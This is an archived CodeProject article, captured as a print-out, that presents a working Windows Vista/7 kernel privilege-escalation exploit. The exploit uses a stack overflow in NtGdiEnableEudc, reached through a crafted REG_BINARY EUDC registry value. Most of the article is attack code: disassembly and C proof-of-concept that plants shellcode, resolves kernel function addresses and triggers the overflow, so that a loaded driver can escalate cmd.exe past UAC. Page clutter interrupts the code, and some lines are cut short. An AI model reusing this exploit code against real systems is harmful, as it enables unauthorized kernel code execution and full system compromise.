bypassing uac with user pri
DESCRIPTION
uacTRANSCRIPT
7,465,456 members and growing! (21,594 online) Email Password Sign in Join Join Remember me? Lost password?
Home Articles Questions & Answers Learning Zones Features Help! The Lounge Search
2 Article Browse Code Stats Revisions (24)
» Platforms, Frameworks & Libraries » Vista Security » User Account Control
Bypassing UAC with User Privilegeunder Windows Vista/7By noobpwnftw | 24 Nov 2010 | Unedited contribution
A Design Flaw in Windows Kernel API Leads to SecurityBreakdown
Download poc - 493.22 KB
Introduction
I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to bufferoverflows under nearly every version of Microsoft Windows, especially one that can be used as abackdoor to Windows user privilege system as well as User Access Control.
The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registryvalues by a query table, given the EntryContext field as output buffer. There is a problem that thisfield can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by theactual buffer, and this is determined by the type of the registry key being queried.
Using the code
In this example, I found a registry key which can be manipulated with only user rights, by changing itstype to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queriesHKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry valueis REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONGvalue in this structure represents the length of the string buffer, but if the value in registry isREG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites thestack.
CollapseCollapse
.text:BF81BA91 push esi ; Environment
.text:BF81BA92 push esi ; Context
.text:BF81BA93 push offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
.text:BF81BA98 push edi ; Path
.text:BF81BA99 lea eax, [ebp+DestinationString]
.text:BF81BA9C push esi ; RelativeTo
.text:BF81BA9D mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _
.text:BF81BAA3 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
.text:BF81BAAD mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemd
.text:BF81BAB7 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
.text:BF81BABC mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
.text:BF81BAC2 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
.text:BF81BAC8 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
.text:BF81BACE mov dword_BFA198FC, esi
.text:BF81BAD4 mov dword_BFA19900, esi
.text:BF81BADA mov dword_BFA19904, esi
.text:BF81BAE0 call ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
.text:BF81BAE6 mov [ebp+var_8], eax
Stack trace shows the calling process is as follows:
GDI32.EnableEUDC ->NtGdiEnableEudc ->GreEnableEUDC ->sub_BF81B3B4 ->sub_BF81BA0B ->RtlQueryRegistryValues (Overflow occurs)
Given this we can design the registry value which will precisely overwrite the return address of thecalling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC thebuffer contains a simple kernel PE loader, which will eventually load a driver that will escalate"cmd.exe” process privilege regardless of UAC.
CollapseCollapse
4.56 / 5, 7 votes Sponsored Links
Sponsored Links
See Also...
Announcements
The Daily Insider
Bypassing UAC with User Privilege under Windows Vista/7 - CodeProject http://68.233.235.195/kmax/security-uac.aspx.htm
1 of 4 2.12.2010 14:13
// Allocate buffer for the driverLPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));
BYTE* pMem; // shellcodeDWORD ExpSize = 0;
BYTE RegBuf[0x40] = {0}; // reg binary buffer
pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(pMem, Data, sizeof(Data)); // Copy shellcode
*(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem; // Point return value to our buffer
ExpSize = 0x28;
The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
CollapseCollapse
// Get the running kernel file nameHMODULE hDll = GetModuleHandle(L"ntdll.dll");pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;ULONG AllocSize = 0;fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, D
//Relocation to the running kernel baseDWORD Delta = (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
free(pModInfo);
// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function// so we need a valid pool address to avoid BSOD.
if(vi.dwBuildNumber < 7600) { FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC"); PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION); fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize); fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++) { if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy) { *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18; break; } } free(pHandleInfo);}else{ FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);}
// Now fills the API addresses neededFixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta)FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);FreeLibrary(hKernel);
// Here we tell the shellcode(PE loader) where the driver buffer is.FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit. CollapseCollapse
Bypassing UAC with User Privilege under Windows Vista/7 - CodeProject http://68.233.235.195/kmax/security-uac.aspx.htm
2 of 4 2.12.2010 14:13
Article Top Sign Up to vote for this article
UINT codepage = GetACP();TCHAR tmpstr[256];_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage); // Get current code pageHKEY hKey;RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey,RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
__try{ EnableEUDC(TRUE); }__except(1){}RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));RegCloseKey(hKey);
After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
Points of Interest
All actions this PoC performs require only user privilege, but result in arbitrary kernel mode codeexecution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in mostversions of Windows kernels, yet no patch or documentation is publicly available on this issue.
Additional Information
This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, suchas on kernels ealier than 6.1.6000 are not supported, current supported kernels are:Windows Vista/2008 6.1.6000 x32,Windows Vista/2008 6.1.6001 x32,Windows 7 6.2.7600 x32,Windows 7/2008 R2 6.2.7600 x64.Beyond this scope you may contact me for information on how to tune the code to work correctly onyour kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and ofno importance to the exploit, therefore it is not included.
Contact
History
Initial release: 2010.11.24
License
This article, along with any associated source code and files, is licensed under The Code Project OpenLicense (CPOL)
About the Author
noobpwnftw
China
Member
Comments and DiscussionsYou must Sign In to use this message board.
FAQ Search
Noise Tolerance Medium Layout Expand Posts & Replies Per page 10 Update
Msgs 1 to 2 of 2 (Total in Forum: 2) (Refresh) First Prev Next
cacalex 2hrs 15mins ago
Can't wait to play with this...Do you tried to send an email to Microsoft about this ?
Sign In · View Thread · PermaLink
Nice...
Bypassing UAC with User Privilege under Windows Vista/7 - CodeProject http://68.233.235.195/kmax/security-uac.aspx.htm
3 of 4 2.12.2010 14:13
PermaLink | Privacy | Terms of Use
Last Updated: 24 Nov 2010
Copyright 2010 by noobpwnftw
Everything else Copyright © CodeProject, 1999-2010
Web22 | Advertise on the Code Project
Kevin Drzycimski 3mins ago
We are working on that issue.
Sign In · View Thread · PermaLink
Last Visit: 19:00 31 Dec '99 Last Update: 9:11 24 Nov '10 1
General News Question Answer Joke Rant Admin
Re: Nice...
Bypassing UAC with User Privilege under Windows Vista/7 - CodeProject http://68.233.235.195/kmax/security-uac.aspx.htm
4 of 4 2.12.2010 14:13